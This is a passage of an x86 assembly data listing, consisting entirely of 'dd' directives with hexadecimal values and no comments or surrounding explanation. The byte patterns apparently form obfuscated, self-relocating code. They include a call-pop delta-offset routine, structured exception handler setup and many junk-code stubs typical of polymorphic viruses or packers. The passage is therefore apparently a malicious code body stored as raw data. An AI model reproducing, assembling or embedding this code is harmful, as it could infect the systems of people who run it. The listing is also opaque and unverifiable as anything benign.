0EB6805E7h, 8B03231Bh dd 243481DAh, 33C1814h, 2B8BB66h, 0A350858Dh, 9D8B05EAh dd 5E701E1h, 15810F90h, 0E8000000h, 0Ch, 4C5F0ED2h, 504F4CFEh dd 4E382F98h, 5FD98B66h, 0FA8B6650h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 9D95313Bh dd 0FF05E700h, 0E720E595h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 7FDC06ACh dd 0B089833Fh, 4EDF8169h, 8B6526B0h, 0E70E399Dh, 8B666105h dd 9985C7FEh, 305E70Ch, 1000000h, 0E7233195h, 50BD8305h dd 5EAA3h, 2E840Fh, 0D88A0000h, 42E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 804E94DBh, 66B16393h, 0C79FE381h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0D466C350h, 16E0EE02h, 26359589h, 850F05E7h, 19h, 11E8h dd 0A1812700h, 839791EFh, 0A2CF3061h, 4113F429h, 5B50FEECh dd 99BD835Fh, 305E70Ch, 3F0850Fh, 0FE8B0000h, 0A350BD83h dd 0F0005EAh, 3E184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BD2B87F4h, 5E725BDh dd 7E9h, 0F8B42900h, 0D3B952A6h, 0A350B5FFh, 6A05EAh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 7F40DBC3h, 0BAEEFCB3h, 95FF3848h, 5E72D69h, 8115BF66h dd 0A344B58Bh, 0BD8B05EAh, 5E72605h, 106C7h, 59B70001h dd 89DE8B50h, 9D8B2434h, 5E70231h, 0A350B5FFh, 6A05EAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F2FACC3h, 686h, 0C2CB8100h, 603F48F2h, 6E9h, 95C06F00h dd 8B7B0BCBh, 0E712359Dh, 95FF6105h, 5E7247Dh, 27459529h dd 0B58B05E7h, 5EAA344h, 3CD858Bh, 8E805E7h, 21000000h dd 0E1E511EFh, 899D6ACCh, 0E713A985h, 86895F05h, 0C4h dd 25A82CBBh, 15958B7Ah, 6605E723h, 0C283D88Bh, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 205089CBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 5DC35747h, 6C54F2C9h, 67A53FD1h, 32858DA9h, 6005EAB7h dd 1BB5B589h, 0B58905E7h, 5E73245h, 0B8868961h, 0F8000000h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 9F6B7CC3h, 18D8978h, 0FF05E705h, 0EAA350B5h dd 0BD8B5605h, 5E70069h, 4195FF5Fh, 6A05E700h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0FAECC352h, 38A0Fh, 8B660000h, 880F96DAh, 2, 0BF50DD8Ah dd 13B245D1h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8B668E46h, 0DDBD89DAh, 0FF05E712h dd 0EAA350B5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0EB8166ACh, 95FF9DD2h dd 5E72A09h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 64C35040h, 0F1BD8BD3h, 8305E72Ch, 0E704F9BDh, 840F0005h dd 6Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h dd 3FC35242h, 6696DD30h, 5050DE8Bh, 8A0F6052h, 0 dd 0BE9h, 7FBE9600h, 1497DA1h, 21359D21h, 8A310F61h, 96585ADDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B5C35545h dd 2DB7F95Eh, 310D8589h, 0B5FF05E7h, 5EAA350h, 0AD8D0950h dd 5B05E70Dh, 71D95FFh, 0BD8B05E7h, 5E7127Dh, 0A350B5FFh dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0B4A632C3h, 0A658525Fh, 0FFD36532h, 0E70CC595h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0F070BFC0h, 81664F8Dh, 66B6B7DFh, 447DF381h dd 25CDBD83h, 0F0205E7h, 4F84h, 9D895100h, 5E7062Dh, 51858B5Bh dd 6A05E706h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 66B2C357h, 0C630B4BFh, 13E80000h dd 0B000000h, 17B308ECh, 6D6D3354h, 126788F7h, 0C23E7A8h dd 6660B55Bh, 5F61D68Bh, 0DFD85C7h, 5E7h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 325E0CC3h, 12E8CA4Dh, 58000000h, 8B79822Bh, 0C4107CF6h dd 1DE9031Eh, 24D99E3Ch, 47DF8113h, 5B313924h, 0FEE9DA8Bh dd 0BBFFFFF3h, 2BF845BFh, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 858DD9C3h, 5E71AF9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 57C35747h dd 0FF607A6h, 8Ah, 45858900h, 9005E72Ah, 5E8h, 6C14CB00h dd 840F1691h, 5, 336C04BBh, 53505F36h, 0F9C7BB66h, 6A905Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 8F0E82C3h, 6A7A7Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 1C35242h, 810F1476h, 5, 96D38166h, 6AFE8BADh dd 0FEBF0F00h, 0E653858Dh, 0BD8B05EBh, 5E70885h, 6A05C083h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 504FC350h, 0BE666051h, 616091A2h, 4895B61h dd 0DBB70F24h, 6AFC006Ah, 0C5858900h, 0FF05E727h, 0E702C595h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0D5BAED77h, 810FDE8Bh, 5, 9BDC66BFh, 148D8D78h dd 3305EA95h, 0E70D21BDh, 6AD1FF05h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0EABDC356h dd 9D0E8073h, 5E9C6CCh, 6F000000h, 7A420349h, 1820Fh, 83F50000h dd 0E707F1BDh, 850F0105h, 54h, 1305BD8Bh, 26A05E7h, 12E850F5h dd 18000000h, 0B3A269F0h, 833567B1h, 829AADFFh, 0CF400BD2h dd 810F32h, 5B000000h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 9EB2C357h dd 4195FFh, 0BD8905E7h, 5E7073Dh, 0D9EE9h, 0E800h, 815D0000h dd 0EBE65DEDh, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 858DF942h, 5EA8F5Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 14C35040h, 4D9D0160h dd 8105E720h, 0C5F670D0h, 0E8506174h, 13h, 0D6686C9Dh dd 98B75CB0h, 0F5872D2Ch, 5529ADDh, 66A8921Eh, 895BD88Bh dd 0DE8B2404h, 35FF64h, 0B7000000h, 258964A1h, 0 dd 0FFDA8B66h, 0E71CE185h, 0BE666005h, 5B53C3D8h, 0B7FF6A61h dd 55B5FF99h, 0F05E72Eh, 68Dh, 2DBD2300h, 0FF05E723h, 0E729C195h dd 149E905h, 5E80000h, 75000000h, 18BA9E7Fh, 8B19D8Bh dd 0B05F05E7h, 71BD8B00h, 0E905E70Ch, 9, 0E9459793h, 55079BBFh dd 0E970E690h, 5, 0C2EC8531h, 2B71E44Bh, 0E72639BDh, 0F613C05h dd 10683h, 8DBD0900h, 0F05E723h, 840FC8B6h, 2, 9D29F88Bh dd 5E726D5h, 6BAh, 10810F00h, 0E9000000h, 0Bh, 1F500C4Ah dd 0F162DFA6h, 0FC099169h, 0BD8BC18Bh, 5E721DDh, 6604E8C1h dd 10E8E2F7h, 0DD000000h, 427E4880h, 0D7664C67h, 0C0353A7h dd 89C96EBBh, 0E7126195h, 810F5B05h, 0 dd 0F60C82Bh, 68Bh, 880F00h, 89000000h, 0E7281995h, 0D18B6105h dd 0E9EAC380h, 83h, 7359D89h, 858B05E7h, 5F4C4C44h, 31D59D8Bh dd 0C08305E7h, 0FFB70F07h, 0F00C083h, 0D03BDFBFh, 0E830Fh dd 0F3800000h, 55E908h, 85890000h, 5E72D4Dh, 0FFFF8D8Bh dd 8D29FFFFh, 5E702E1h, 0F01E183h, 3A84h, 0A583F800h, 0FFFFFFFFh dd 11E9FEh, 22340000h, 9FF0BEC1h, 7E340857h, 0A3E81696h dd 0F1EA98Dh, 685h, 459D8B00h, 8905E701h, 4C4C4495h, 50DEBB5Fh dd 0E96A4Ch, 8D000000h, 0EB63B4B5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 2FF5896Eh dd 595475DFh, 1DA8B66h, 0E700D98Dh, 6A006A05h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 41A3C350h, 22778E1Ch, 9D9D8B32h, 0E905E722h, 0Bh, 0DD733DC2h dd 8F73E778h, 0FF3B2716h, 0E71A1D95h, 0D88B6605h, 0F82B9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8BC8EF22h, 0E723C9BDh, 0FCE18305h, 29B58B60h dd 6605E715h, 61E8DBB8h, 5E8FCh, 0D04D0000h, 0FCDDAF9h dd 68Eh, 619D8B00h, 5B05E704h, 0B8h, 0BAF800h, 0BF000000h dd 64829331h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 8659D89h dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 68A4CFC3h, 880D8A3Eh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 3C4FC356h, 0D0196F50h, 15958B55h, 6A05E723h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0DC92C352h, 665D434Bh, 8B56BABBh, 0E708B98Dh, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B668EB4h, 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 314C355h, 0E703B59Dh, 1DBD8305h dd 5E721h, 6C840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0B833A0C3h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 4AC35040h dd 13E9FBh, 0D9E20000h, 91E0A90h, 755AE68Bh, 13E63261h dd 0D449963Bh, 8D8DF5CFh, 5E74DFAh, 22899D89h, 0E1FF05E7h dd 2F89B501h, 0BD8305E7h, 5E70C99h, 0EC840F00h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 74F6C355h, 0D88B89F7h, 0C99BD83h, 0F0105E7h dd 4D984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 5F254979h, 68F1539Dh, 0C2BB66E5h dd 99BD8398h, 305E70Ch, 46E860Fh, 81660000h, 297EECEBh dd 0E70AF595h, 6A6005h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 14460FC3h, 8C6696F9h, 53006AD9h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 7B4EEEEh, 3E4BC964h, 13E88Bh, 0E3360000h, 0DB664898h dd 6E25D64h, 0CD0E30BAh, 4945B7FFh, 7DB529B9h, 5B05E703h dd 23A19589h, 10E905E7h, 0A5000000h, 0AD77CFABh, 0F4D40022h dd 230BB31Ch, 80D31490h, 6A04E1h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 89377C3h, 2708E0E0h dd 0FC90A8Dh, 0D084h, 2D858B00h, 6605E707h, 333898BFh dd 0E72E8185h, 0C3F78105h, 8B6B77CBh, 0E72A1D9Dh, 8E0F5005h dd 0 dd 89240489h, 0E70255B5h, 0F006A05h, 68Eh, 4D8D8900h, 6805E731h dd 0AFCC508Ch, 73240481h, 0F5052B3h, 580h, 90D0BB00h, 0F8602D05h dd 11E9h, 0AF277A00h, 0D3AC9D2Eh, 2CE70B87h, 0AD12EA72h dd 0FF618B4Fh, 0E720E595h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 71B52983h dd 8905E709h, 0EAA35085h, 759D8905h, 0E905E72Eh, 252h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 75C35646h dd 2E7BA36Eh, 0E19D8B71h, 8B05E720h, 0E70339BDh, 48858B05h dd 6A05EAA3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0B2FBC351h, 0D11C7296h, 0FFBB70Fh dd 0C7F9B7h, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0CDC35141h, 20C98D89h, 0B58B05E7h, 5EAA34Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 95C35343h, 0F67B0BCBh dd 2DF5B529h, 858B05E7h, 5E70081h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 4EC35141h, 93A57385h, 6A068936h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 2F6C351h, 88C0Fh, 8D0F0000h, 2, 858B6160h dd 5E7072Dh, 830Fh, 46890000h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0A377C54Bh dd 0E9CDFB92h, 14h, 7CEEE6D7h, 6D8621A8h, 735DE762h, 128B25FDh dd 67CDE644h, 2C5DD1BBh, 0F9B58914h, 9605E70Ch, 13E8h dd 0D9059F00h, 0A49C36F1h, 3321FFE7h, 3C2E0C28h, 8864E881h dd 5EA61EBFh, 53505F28h, 5B5F5751h, 6A965Fh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 5F3AF5C3h dd 3245BD8Bh, 0B5FF05E7h, 5EAA348h, 9ADBB66h, 0CD6F2B68h dd 0F5250D0h, 81585A31h, 94D42404h, 6A2F51h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 7539DFC3h dd 0BF14EE8Eh, 52F6FC32h, 0A350858Dh, 6A05EAh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 60DD01C3h, 5E9h, 6B1BA900h, 0B956030Ch, 239B758h, 66506159h dd 892ACABBh, 9D892404h, 5E719B1h, 20E595FFh, 6A05E7h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 7398C4C3h, 556AD4CEh, 6A61C705h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0D878C356h dd 0C72164DFh, 0E70C9985h, 305h, 6E900h, 0E65C0000h, 0F2BBC015h dd 0EE8h, 0B395F800h, 2A5FFC12h, 429AED57h, 8B08756Bh dd 0E723119Dh, 0BD835B05h, 5EAA350h, 61840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0D1CFC352h, 0E053F698h, 0BD014C45h, 5E71C99h dd 15A18589h, 48E905E7h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9EAC353h dd 6, 0A38A6689h, 0BD8B2177h, 5E7257Dh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0F0D6C357h, 0FC527BE7h, 66B2B21Fh, 5304DB81h, 0C0EFB1BBh dd 99BD8325h, 305E70Ch, 3A5850Fh, 0D88B0000h, 0A350BD83h dd 0F0005EAh, 39684h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 30D41C87h, 13DFDD18h dd 0C7816682h, 0B5FFF367h, 5EAA350h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0B6C35747h, 0DC80B1E2h, 0E3816660h dd 0D781B756h, 5A8E7EFEh, 7ECF8061h, 2D6995FFh, 0BF6605E7h dd 0B58BCC7Ah, 5EAA344h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0DDC35040h, 106C7h, 0B70F0001h, 0FE850FBh dd 0D7000000h, 0B8D88BBBh, 0F49E7133h, 9239E2EEh, 0D98B9709h dd 2434895Fh, 5E953h, 4D360000h, 5F01D306h, 0A350B5FFh dd 0BE805EAh, 0E7000000h, 7B690B21h, 0EDE2DA4Ch, 0BF665237h dd 8B5B7FDFh, 7D95FFFBh, 8A05E724h, 44B58BFDh, 6A05EAA3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 9893C357h, 2305BD8Bh, 9D8B05E7h, 5E70855h dd 3CD858Bh, 0BD8B05E7h, 5E71F89h, 0C48689h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 5EF2DBC3h, 6D0CFD98h, 2315958Bh, 6A05E7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 200F44C3h dd 19812F37h, 52437422h, 5ECB8166h, 0C2835B4Ch, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 1A72FCF7h, 3FBBEB42h, 9D0B8FEFh, 5E700ADh, 0F205089h dd 383h, 0DFBF0F00h, 0B732858Dh, 0C38005EAh, 0B886898Dh dd 0E8000000h, 6, 0BA5D6C80h, 13E9F4A5h, 0A2000000h, 2F8365E2h dd 0D06E90BDh, 9DA2BB90h, 0C14C38h, 6A5B527Dh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 7A5E04C3h, 6259A6C1h, 9E9h, 7192B100h, 5386AF4Fh, 0BF665AF0h dd 0B5FF04BEh, 5EAA350h, 0FF8EEB80h, 0E7004195h, 4DBD8905h dd 5005E702h, 34899EB3h, 0F7816624h, 0B5FFBB1Eh, 5EAA350h dd 0DE9h, 14AAA500h, 2257E9EDh, 2695BD52h, 95FF01E7h, 5E72A09h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8AC35545h dd 78C52210h, 2DE850BFh, 618D89ABh, 0F05E70Bh, 689h, 0E59D2B00h dd 8305E71Ch, 0E704F9BDh, 840F0005h, 23h, 0F1EF8166h, 81F381E1h dd 5036CAB3h, 0F243489h, 0E81h, 8D896000h, 5E727D5h, 1CD1BD8Bh dd 0FF6105E7h, 0EAA350B5h, 0DD8D0105h, 0FF05E71Ch, 0E7071D95h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 3764654Dh, 0B5FF6943h, 5EAA350h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BC35747h, 0A51A6700h dd 94C4D614h, 9858529h, 95FF05E7h, 5E70CC5h, 274D9D89h dd 0BD8305E7h, 5E725CDh, 4C840F02h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0D762C351h, 0F2F87003h, 8BFFB70Fh, 0E7065185h, 14E905h dd 90900000h, 3BB04BFBh, 38F67F5Dh, 0A68A7B7Fh, 8C24F49Ch dd 0C6E234h, 45BD8900h, 0C705E706h, 0E70DFD85h, 5, 6D9D0B00h dd 0E905E720h, 0FFFFF355h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 4FC35646h, 6DBE944Bh, 0BFAC290Ah, 31FA8B64h dd 0E7083DB5h, 6AC18B05h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 2D26C351h dd 6894AD29h, 0FF140C4Eh, 8DD98B66h, 0E71AF985h, 6870F05h dd 0F000000h, 84h, 0EF816600h, 5090A57Fh, 0FE8h, 0ABABE100h dd 9A51E3E5h, 0D8C3991Eh, 0F2835240h, 6A905Fh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 315C2AC3h, 0BBADC689h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0E95178C3h, 0Eh, 0AEEE08E1h dd 0C1802C9Dh, 4790AC6Ch, 6A2A99h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0F5C35545h, 8DF97D91h, 79177E17h dd 0AD51BB16h, 858D0830h, 5EBF633h, 16419D03h, 0C08305E7h dd 906CB705h, 10127CBFh, 52505014h, 6E856h, 0F580000h dd 0D228E9F4h, 310F5F5Fh, 0B38FBB66h, 6A90585Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 9DABC357h, 0F4534AC7h, 0AA74BF66h, 6A006AF5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0D310C353h, 10DFE46Bh, 5F5391E1h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 269AC9C3h dd 8A29B83Eh, 5E952F8h, 82000000h, 82BA68B0h, 0C595FF5Bh dd 8B05E702h, 0E70039BDh, 148D8D05h, 6A05EA95h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 382FC355h, 0E9D1FF4Eh, 12h, 28A0F4Eh, 364C9794h, 390D4AC1h dd 1C479D2Bh, 0BD83D994h, 5E707F1h, 89850F01h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0E476C351h, 0AE9AD38h, 0CA000000h, 0B797E517h dd 0B52DFAEDh, 66026A83h, 6E3DE781h, 96BB6690h, 10E950D8h dd 0D6000000h, 5E306AC1h, 1934D9CEh, 24233FDFh, 90B9E30Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0C0C35747h dd 0FFC20E5Fh, 0E7004195h, 0EE905h, 0B3FF0000h, 1734BF7Ch dd 0FA616DDFh, 0E44D7C29h, 0CA2E9h, 0E800h, 815D0000h dd 0EBF63DEDh, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 8D8DBFCBh, 2800Fh, 0DF8B0000h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FAC35343h dd 64EC2771h, 8DD3329Ch, 7E9D9h, 0AAE00000h, 82C72541h dd 5B858DFDh, 8905EA8Fh, 0E70A9995h, 8B505005h, 4895BFBh dd 35FF6424h, 0 dd 258964FCh, 0 dd 5E8h, 0B5447700h, 0BD8BA614h, 5E71721h, 0E185FF5Fh dd 0F905E71Ch, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0A23F58C3h, 5A10D239h, 0DAB70F7Fh dd 15E1B5FFh, 51B305E7h, 29C195FFh, 2E905E7h, 8B000001h dd 0E701799Dh, 0B9BD8B05h, 0B005E706h, 5770E600h, 9019529h dd 0E45B05E7h, 959D8971h, 3C05E706h, 0DA830F61h, 8B000000h dd 0E704F5BDh, 0C8B60F05h, 0BA61EF80h, 6, 895B589h, 0DA8A05E7h dd 0FE8BC18Bh, 8904E8C1h, 0E72D1195h, 94DF8105h, 661BC3B7h dd 8160E2F7h, 541D10C7h, 0CE834h, 9A940000h, 23968503h dd 3C200EEDh, 5EF9D533h, 66C82B61h, 0D18BD98Bh, 0E0BCC381h dd 7EE91603h, 66000000h, 858BDA8Bh, 47554C50h, 9800Fh dd 860F0000h, 3, 83FA8B66h, 0BB6607C0h, 0C083F1C1h, 658D0900h dd 3B05E70Dh, 1C830FD0h, 0E9000000h, 0Ch, 62D28372h, 302B3626h dd 4D599BA9h, 38E9h, 119D8900h, 8B05E71Ch, 0FFFFFF8Dh dd 69BD31FFh, 8305E71Fh, 840F01E1h, 1Dh, 83D88B66h, 0FFFFFFA5h dd 65BFFEFFh, 8974CAEDh, 554C5095h, 0FB8B6647h, 0E9h, 36B58D00h dd 6A05EB73h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 317CC351h, 6E9h, 45785B00h, 6A560094h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8B12B395h, 0E71B259Dh, 1D95FF05h, 6A05E71Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 5168C352h, 0F0DB9h, 49BD8B00h, 8305E704h dd 9D89FCE1h, 5E70AE5h, 50006AFCh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 5B47620Dh, 9E983A6h, 45000000h dd 0DA5571F8h, 57DB0771h, 0B8h, 13E900h, 5D1C0000h, 367D3CAAh dd 7C1E87F0h, 5C865EF8h, 0DBA75CDh, 6AD22B29h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 4009C351h, 0ADF877DDh, 0E8D1C233h, 0E983D003h, 8BF47504h dd 0E708ADBDh, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0FB68142h, 78Ch, 81665000h dd 5F9C0BE7h, 880Dh, 3890F00h, 66000000h, 958BDA8Bh, 5E72315h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9EC35545h dd 36D2EF4Ch, 5216F03Fh, 0D99D8B89h, 8B05E701h, 0E708B98Dh dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 799D2B2Ah, 5005E701h, 2B05BD8Bh, 505B05E7h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 5033B358h dd 0ACB2BB66h, 1DBD835Fh, 5E721h, 3F840Fh, 9E90000h, 0F6000000h dd 381EEBF7h, 0DEEB9D7h, 0B8h, 15BB6600h, 0FA8D8D15h, 0F05E74Dh dd 1182h, 9E800h, 0F7CE0000h, 0BFEBA633h, 5086416Dh, 81665B5Bh dd 0FF0108CFh, 15BF66E1h, 99BD831Bh, 5E70Ch, 3F6840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0F8A91FC3h, 0A026BFC5h, 0BD837159h, 5E70C99h dd 0E0840F01h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 773C353h, 83DFB70Fh dd 0E70C99BDh, 860F0305h, 37Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0D1C35545h, 449BD8Bh, 6A6005E7h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0C1CFC352h, 80B8AFA1h, 264237DDh, 0CE700ABFh dd 0D98C6601h, 653DD381h, 0E1807F2Bh, 56006A04h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0D1A0F775h, 8A760E8Bh, 895750FCh, 0E70DA5B5h, 0F5F5F05h dd 89h, 0FC90A00h, 11284h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 6CFCF90Ah dd 958B5660h, 5E72135h, 1206BA5Bh, 8B617298h, 0E7072D85h dd 0DEBF0F05h, 2E818533h, 34BF05E7h, 9029B13Ch, 0B9616060h dd 6EBC4BFEh, 79B35061h, 6AF98B90h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 89BC41C3h dd 0E726018Dh, 9BE6805h, 40BB0E21h, 8114C454h, 0A412434h dd 6A0E3Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0A94220C3h, 0C7EAC9E5h, 95FF5841h, 5E720E5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0FFC35242h dd 0F755AC9Fh, 0FEB70F80h, 0A3508589h, 816605EAh, 0E96492D3h dd 1A6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0EBC35747h, 0B9D7381Eh, 25150DEEh, 0D1B52953h dd 8B05E71Ch, 0EAA34885h, 0EF816605h, 